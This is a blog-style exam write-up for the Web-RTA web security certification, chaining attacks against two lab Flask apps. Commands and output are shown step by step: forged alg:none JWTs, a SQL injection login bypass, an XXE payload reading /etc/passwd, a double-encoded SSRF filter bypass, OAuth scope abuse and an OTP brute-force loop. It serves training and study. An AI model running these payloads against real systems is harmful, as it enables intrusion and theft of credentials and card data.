
Every command below was executed live against the exam lab and its verbatim output is quoted underneath as proof — nothing here is theoretical. Instance-specific values (card, credentials, hex, lab IP) are masked; they are useless against any other deployment anyway. CAPTCHA answers and the OTP change every run, so those exact numbers will differ for you — the commands and the method do not.
Certification: Web Red Team Analyst (Web-RTA) · CyberWarFare Labs (CWL)
Format: Practical, black-box · 16 flags across 2 web apps · 30-day lab · not proctored
Result: 16 / 16 ✅
0 · Tools actually used
No Burp, no jwt.io, no CyberChef, no feroxbuster. The whole exam was solved with:
- curl — 100% of the HTTP interaction: recon, cookies, forms, JSON, SSRF, OAuth flow.
-
python3 — forge
alg:noneJWTs, decode JWT payloads, solve the math CAPTCHA, hex→base64 decode, double-URL-encode. - bash — the OTP brute-force loop and CAPTCHA-per-request automation.
- ffuf / nmap — initial port + endpoint discovery.
- Chrome (manual) — eyeballing rendered pages to confirm behaviour.
Why these are enough: both targets are small single-instance Flask apps. No client-side crypto, no anti-automation beyond a solvable math CAPTCHA, and every vulnerable surface is a plain HTTP request. curl + python3 reach all of it directly.
0.1 · Environment + helper functions
# --- set your lab IP here ---
TARGET=<LAB-IP>
W1="http://$TARGET:32736" # WebApp 01 (Event Manager)
W2="http://$TARGET:30555" # WebApp 02 (OAuth stack)
# solve the math CAPTCHA served at GET /captcha, e.g. "4 - 18" -> -14
solve(){ python3 -c "import re,sys;q=sys.argv[1].strip();m=re.match(r'(-?\d+)\s*([+\-*])\s*(-?\d+)',q);a,o,b=int(m.group(1)),m.group(2),int(m.group(3));print({'+':a+b,'-':a-b,'*':a*b}[o])" "$1"; }
# forge an alg:none JWT from a JSON payload, e.g. forge '{"sub":"user","role":"user"}'
forge(){ python3 -c "import base64,json,sys;b=lambda o:base64.urlsafe_b64encode(json.dumps(o).encode()).decode().rstrip('=');print(b({'alg':'none','typ':'JWT'})+'.'+b(json.loads(sys.argv[1]))+'.')" "$1"; }
# decode a JWT payload (2nd segment)
jwtdec(){ python3 -c "import base64,sys;p=sys.argv[1].split('.')[1];p+='='*(-len(p)%4);print(base64.urlsafe_b64decode(p).decode('utf-8','replace'))" "$1"; }
0.2 · Discovery (how the endpoints were found)
# ports
nmap -Pn -p 30000-33000 --open $TARGET | grep open
# → 30555/tcp open 32736/tcp open (+ the ingress noise)
# WebApp 01 content discovery
ffuf -u "$W1/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403,500 -fc 404
# → login, dashboard, captcha, logout
The admin-only endpoints (/admin/events, /admin/events/update/1, /fetch_internal_secret, /api/health, /api/fetch_internal_secret) are not in wordlists — they were read straight out of the admin dashboard's HTML (href= / action=) once the SQLi gave admin. The WebApp 02 endpoints (/client/login, /oauth/userlogin, /oauth/consent, /oauth/otp, /resource/resources, /resource/adminpanel) were pulled from links + curl path-probing.
Phase 1 — Recon → Flags 5 & 6
Vulnerability: information disclosure — the app issues an unsigned session JWT to anonymous visitors and renders the role.
curl -si "$W1/dashboard" | grep -i "set-cookie: access_token_cookie"
Proof:
Set-Cookie: access_token_cookie=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0.; Path=/; SameSite=Lax
Decode the token:
jwtdec "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0."
# {"sub":"anonymous","role":"anonymous"}
Header decodes to {"alg":"none","typ":"JWT"} — no signature (the 3rd segment after the last dot is empty). Confirm the role renders on the page:
ANON="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoiYW5vbnltb3VzIn0."
curl -s -b "access_token_cookie=$ANON" "$W1/dashboard" | sed 's/<[^>]*>/ /g' | tr -s ' \n' ' \n' | grep -viE '^\s*$'
Dashboard
Welcome to Dashboard!
Role: anonymous
Logout
All Events:
No events available.
-
Flag 5 — role of unauthenticated users →
anonymous -
Flag 6 — endpoint where events live →
/dashboard
Phase 2 — JWT alg:none → Flags 7 & 8
Vulnerability: JWT alg:none — signature not verified, so the payload is attacker-controlled. Change role to user.
USER=$(forge '{"sub":"user","role":"user","username":"user"}')
echo "$USER"
curl -s -b "access_token_cookie=$USER" "$W1/dashboard" \
| sed 's/<[^>]*>/ /g' | tr -s ' \n' ' \n' | grep -viE '^\s*$'
Proof:
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAidXNlciIsICJyb2xlIjogInVzZXIiLCAidXNlcm5hbWUiOiAidXNlciJ9.
Dashboard
Welcome to Dashboard!
Role: user
Logout
All Events:
Masquerade Ball
Super Fun Event
Happening at: 2051-12-31 10:00 | Created by: notatypicalsysadmin
-
Flag 7 — event visible to authenticated users →
Masquerade Ball -
Flag 8 — admin username →
notatypicalsysadmin(the event'sCreated by:field)
Phase 3 — Login SQL injection → signed admin token
Vulnerability: SQL injection in the login username; the query is … WHERE username='X' AND password='<hash>'. Comment out the password check with '--. This is required because forging role:admin via alg:none is rejected (Access denied: invalid admin token) — admin needs a server-signed token, which a successful login mints.
Proof of the wall (forged admin is refused):
ADM=$(forge '{"sub":"x","role":"admin"}')
curl -s -D - -o /dev/null -b "access_token_cookie=$ADM" "$W1/dashboard" | grep -iE "^HTTP|^location"
# → HTTP/1.1 302 FOUND Location: / (bounced; flash message: "Access denied: invalid admin token")
Full login flow with CSRF + CAPTCHA:
rm -f admin.jar
# 1) fetch login page → CSRF token
curl -s -c admin.jar "$W1/login" -o login.html
CSRF=$(grep -oiE 'name="csrf_token"[^>]*value="[^"]+"' login.html | grep -oE 'value="[^"]+"' | sed 's/value="//;s/"$//')
# 2) fetch CAPTCHA (answer stored server-side in the session) and solve
Q=$(curl -s -b admin.jar -c admin.jar "$W1/captcha" | python3 -c "import sys,json;print(json.load(sys.stdin)['question'])")
A=$(solve "$Q"); echo "captcha: $Q = $A"
# 3) SQLi login
curl -s -b admin.jar -c admin.jar -D - -o /dev/null "$W1/login" \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=notatypicalsysadmin'--" \
--data-urlencode "password=anything" \
--data-urlencode "captcha=$A" \
--data-urlencode "submit=Login" | grep -iE "^HTTP|^location"
# 4) show the issued cookie (now HS256-signed)
ATC=$(awk '/access_token_cookie/{print $NF}' admin.jar | tail -1)
python3 -c "import base64,sys
t=sys.argv[1].split('.')
d=lambda s:base64.urlsafe_b64decode(s+'='*(-len(s)%4)).decode('utf-8','replace')
print('header :', d(t[0]))
print('payload :', d(t[1]))
print('signature:', len(t[2]), 'chars')" "$ATC"
Proof:
captcha: 4 - 18 = -14
HTTP/1.1 302 FOUND
Location: /dashboard
header : {"alg":"HS256","typ":"JWT"}
payload : {"sub":"notatypicalsysadmin'--","role":"admin"}
signature: 43 chars
The 302 → /dashboard plus an HS256 cookie with role:admin and a 43-char signature proves the SQLi produced a legitimate admin session, not a forgery.
WAF / query notes (verified):
# any payload containing the substring "and" is dropped → bounced to /login
# notatypicalsysadmin' AND 1=1-- → Location: /login (blocked)
# notatypicalsysadmin'-- → Location: /dashboard (works)
# password is hashed before the query, so injection only works in the username field.
Admin surface (read from the dashboard HTML):
curl -s -b admin.jar "$W1/dashboard" \
| grep -oiE 'Role: admin|Admin Verified|href="/admin/events[^"]*"|href="/fetch_internal_secret"' | sort -u
Admin Verified
href="/admin/events"
href="/admin/events/update/1"
href="/fetch_internal_secret"
Role: admin
Phase 4 — XXE → Flags 9 & 10
Vulnerability: XXE. The event editor at POST /admin/events/update/1/xml parses attacker XML and reflects it into the event title.
# fresh CSRF from the update page
curl -s -b admin.jar -c admin.jar "$W1/admin/events/update/1" -o upd.html
XCSRF=$(grep -oiE 'name="csrf_token"[^>]*value="[^"]+"' upd.html | grep -oE 'value="[^"]+"' | sed 's/value="//;s/"$//')
# XXE payload: external entity → /etc/passwd, placed in <title>
XXE='<?xml version="1.0"?>
<!DOCTYPE e [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<event><title>&xxe;</title><description>x</description><happening_at>2051-12-31 10:00</happening_at><visibility>user</visibility></event>'
# submit
curl -s -b admin.jar -c admin.jar "$W1/admin/events/update/1/xml" \
--data-urlencode "csrf_token=$XCSRF" --data-urlencode "xml_data=$XXE" -o /dev/null -w "submit: %{http_code}\n"
# read it back ("View as XML"), pull the passwd flag line
curl -s -b admin.jar "$W1/admin/events/update/1/xml" \
| grep -oaiE "root:x:0:0[^<]*|webrta:[^<]*|flag:[^<]*"
Proof:
submit: 302
root:x:0:0:root:/root:/bin/bash
webrta:x:1000:1000::/home/webrta:/bin/sh
flag:x:1001:1001:Not there yet Seek out client and go for login:/tmp:/bin/false
-
Flag 9 — file containing "flag" →
/etc/passwd -
Flag 10 — flag value → the whole line:
flag:x:1001:1001:Not there yet Seek out client and go for login:/tmp:/bin/false
Verified trap: submitting only flag, or only the comment, is rejected — the answer is the full record. The comment is a literal hint to WebApp 02.
Note: this XXE only returns clean text; a file with
<,&or NUL bytes breaks the parse, so source //procare not readable this way (tested — they fail).
Phase 5 — SSRF → Flags 11, 12 & 13
Vulnerability: SSRF in the "Check Outage" panel. GET /api/health discloses the internal base; POST /api/fetch_internal_secret fetches a user-supplied URL but filters plain internal URLs — bypassed with double-URL-encoding.
5.1 — internal base (Flag 11 discovery)
curl -s -b admin.jar "$W1/api/health"
{"content_type":"application/json","preview":"{\"message\":\"Service Healthy\",\"status\":\"ok\"}\n","requested_uri":"http://127.0.0.1:8000/health","status":"success","status_code":200}
5.2 — filter proof (plain URL → 418)
curl -s -b admin.jar --data-urlencode "encoded_url=http://127.0.0.1:8000" "$W1/api/fetch_internal_secret"
# {"Error Code":"418","Error Message":"I'm a Teapot!"}
5.3 — double-encode bypass → the secret
# double-URL-encode: server decodes once, so it must arrive still-encoded
DENC=$(python3 -c "import urllib.parse;print(urllib.parse.quote(urllib.parse.quote('http://127.0.0.1:8000',safe=''),safe=''))")
echo "encoded_url = $DENC"
curl -s -b admin.jar --data "encoded_url=$DENC" "$W1/api/fetch_internal_secret"
encoded_url = http%253A%252F%252F127.0.0.1%253A8000
{"content":"{\"hidden_in_layers\":\"64 58 4e 6c 63 6c 38 30 ... 4e 47 4d 3d\",\"service\":\"Status Update\"}\n","content_type":"application/json","requested_uri":"http://127.0.0.1:8000/secret","status":"success","status_code":200}
5.4 — decode "hidden in layers" (Flag 12 → Flag 13)
HEX="64 58 4e 6c 63 6c 38 30 ... 4e 47 4d 3d" # full hex from the SSRF response
python3 -c "import base64,sys;h=sys.argv[1].replace(' ','');b64=bytes.fromhex(h).decode();print('layer1 (base64):',b64);print('plaintext :',base64.b64decode(b64).decode())" "$HEX"
layer1 (base64): dXNlcl80ZmI3********************************************...=
plaintext : user_4fb7********:96f9****************************
-
Flag 11 — internal URL for fetching secrets →
http://127.0.0.1:8000/secret(therequested_urireturned by the SSRF) - Flag 12 — "hidden in layers" (encoded) → the space-separated hex string
-
Flag 13 — plaintext → a
user_…:…credential pair (masked — it's a WebApp 02 login)
Phase 6 — WebApp 02 recon + login → Flags 14 & 15
6.1 — login endpoint (Flag 14)
for e in / /client/login /oauth/userlogin /resource/resources /resource/adminpanel; do
printf "%-24s %s\n" "$e" "$(curl -s -o /dev/null -w '%{http_code}' "$W2$e")"
done
/ 404
/client/login 200
/oauth/userlogin 200
/resource/resources 302
/resource/adminpanel 302
6.2 — log in with the exfiltrated creds (Flag 15)
rm -f w2.jar
curl -s -c w2.jar -b w2.jar -L "$W2/client/start_oauth" -o /dev/null # start the flow
curl -s -c w2.jar -b w2.jar -D - -o /dev/null "$W2/oauth/userlogin" \
--data-urlencode "username=user_4fb7********" \
--data-urlencode "password=96f9****************************" | grep -i "^location"
Location: /oauth/consent?client_id=client_1337&scope=read
-
Flag 14 — login endpoint →
/client/login -
Flag 15 — client ID →
client_1337(in the post-login redirect)
Phase 7 — OAuth scope abuse + OTP brute → Flag 16
Vulnerabilities: (a) broken scope validation — consent grants whatever scope you request; (b) a 3-digit OTP with no rate limit.
# 1) request admin scope at consent (session already logged in from Phase 6)
curl -s -b w2.jar -c w2.jar "$W2/oauth/consent?client_id=client_1337&scope=admin" \
| grep -oiE "requests scopes: [a-z]+"
# 2) approve → OTP challenge
curl -s -b w2.jar -c w2.jar "$W2/oauth/consent?client_id=client_1337&scope=admin" --data "" -D - -o /dev/null \
| grep -i "^location"
# 3) brute the 3-digit OTP (wrong=400, right=302)
for n in $(seq -w 0 999); do
code=$(curl -s -b w2.jar -c w2.jar -o /dev/null -w "%{http_code}" \
"$W2/oauth/otp" --data-urlencode "otp=$n")
[ "$code" != "400" ] && { echo "OTP FOUND = $n (HTTP $code)"; break; }
done
# 4) admin scope granted → read the panel
curl -s -b w2.jar -L "$W2/resource/resources" | grep -oiE "full access[^<]*"
curl -s -b w2.jar "$W2/resource/adminpanel" \
| sed 's/<[^>]*>/ /g' | tr -s ' \n' ' \n' | grep -iE "bob|number|cvv|expiry"
Proof:
requests scopes: admin
Location: /oauth/otp
OTP FOUND = *** (HTTP 302)
full access (read, write, delete, admin).
Bob's CC:
NUMBER : 4367 **** **** 8497
CVV/CVC : ***
EXPIRY : **/****
The OTP is random per session, so yours will differ — only the technique matters.
-
Flag 16 — Bob's Credit Card →
4367 **** **** 8497(masked).
Appendix A — full answer table
| # | Question | Answer |
|---|---|---|
| 1 | DB query vuln | SQLi |
| 2 | Object-id abuse | IDOR |
| 3 | Internal/external request forgery | SSRF |
| 4 | Server-side template injection | SSTI |
| 5 | Unauthenticated role | anonymous |
| 6 | Events endpoint | /dashboard |
| 7 | Event name | Masquerade Ball |
| 8 | Admin username | notatypicalsysadmin |
| 9 | File containing "flag" | /etc/passwd |
| 10 | Flag value | the full /etc/passwd flag line |
| 11 | Internal secrets URL | http://127.0.0.1:8000/secret |
| 12 | hidden in layers (encoded) | space-separated hex blob |
| 13 | plaintext | user_…:… (WebApp 02 creds) |
| 14 | WebApp 02 login endpoint | /client/login |
| 15 | Client ID | client_1337 |
| 16 | Bob's Credit Card | 4367 **** **** 8497 |
Appendix B — the whole chain, one line each
alg:none JWT (anon → user) → SQLi login (user → signed admin) → XXE (read /etc/passwd) → SSRF (double-encode → /secret → hex→base64 → WebApp 02 creds) → OAuth login (client_1337) → broken scope (read → admin) + 3-digit OTP brute → admin panel → Bob's card.
Appendix C — screenshots to capture (for your run)
- Anonymous
/dashboardwithRole: anonymous+ the decodedalg:nonecookie. -
role=userdashboard showing Masquerade Ball / created by notatypicalsysadmin. - The SQLi login response headers (
302 /dashboard) + the decoded HS256role:admincookie. - Admin dashboard (
Admin Verified+ Check Outage / Manage Events). - XXE "View as XML" output with the
flag:line. -
/api/health(internal URL) and the SSRF418vs the double-encoded success withhidden_in_layers. - The hex → base64 → creds decode in your terminal.
- WebApp 02 login redirect showing
client_1337. - OTP brute hit (
302) and/resource/adminpanelwith Bob's card.
Key lessons
-
Check the JWT algorithm first.
alg:nonewalked me touserfor free — but the signed-token check onadminis what forced the SQLi. Read the failure message; don't assume one bypass covers every role. -
The query shape decides the payload.
'--beats' OR 1=1--here because the backend isusername AND password— and the WAF happens to blacklist the wordand. -
Encoding is an attack surface. The SSRF filter fell to a double URL-encode, and the loot was hex-wrapped base64. When a field is literally named
encoded_urland a flag is labelled "hidden in layers," believe them. -
Read the taunt literally. The
/etc/passwdcomment was the map to WebApp 02, and Q10 wanted the whole record, not the tidy part. - Scope and OTP are attacker-controlled trust. A consent screen that echoes the scope you request, and a 3-digit OTP with no throttle, are the same root mistake: trusting a value the attacker sets.
Final thoughts
Web-RTA is a solid entry-level web-security certification. It isn't the hardest exam out there, but it's an honest one — it rewards chaining over memorising. JWT manipulation, SQLi, XXE, SSRF and OAuth abuse are all bugs you'll meet in real bug-bounty targets and pentests. If you're preparing: understand JWT structure down to the dot, and drill SSRF + XXE on PortSwigger's Web Security Academy. Everything else flows from those skills.
Written by inilvinilra — security vulnerability researcher.
🔗 GitHub · Website · LinkedIn
Top comments (0)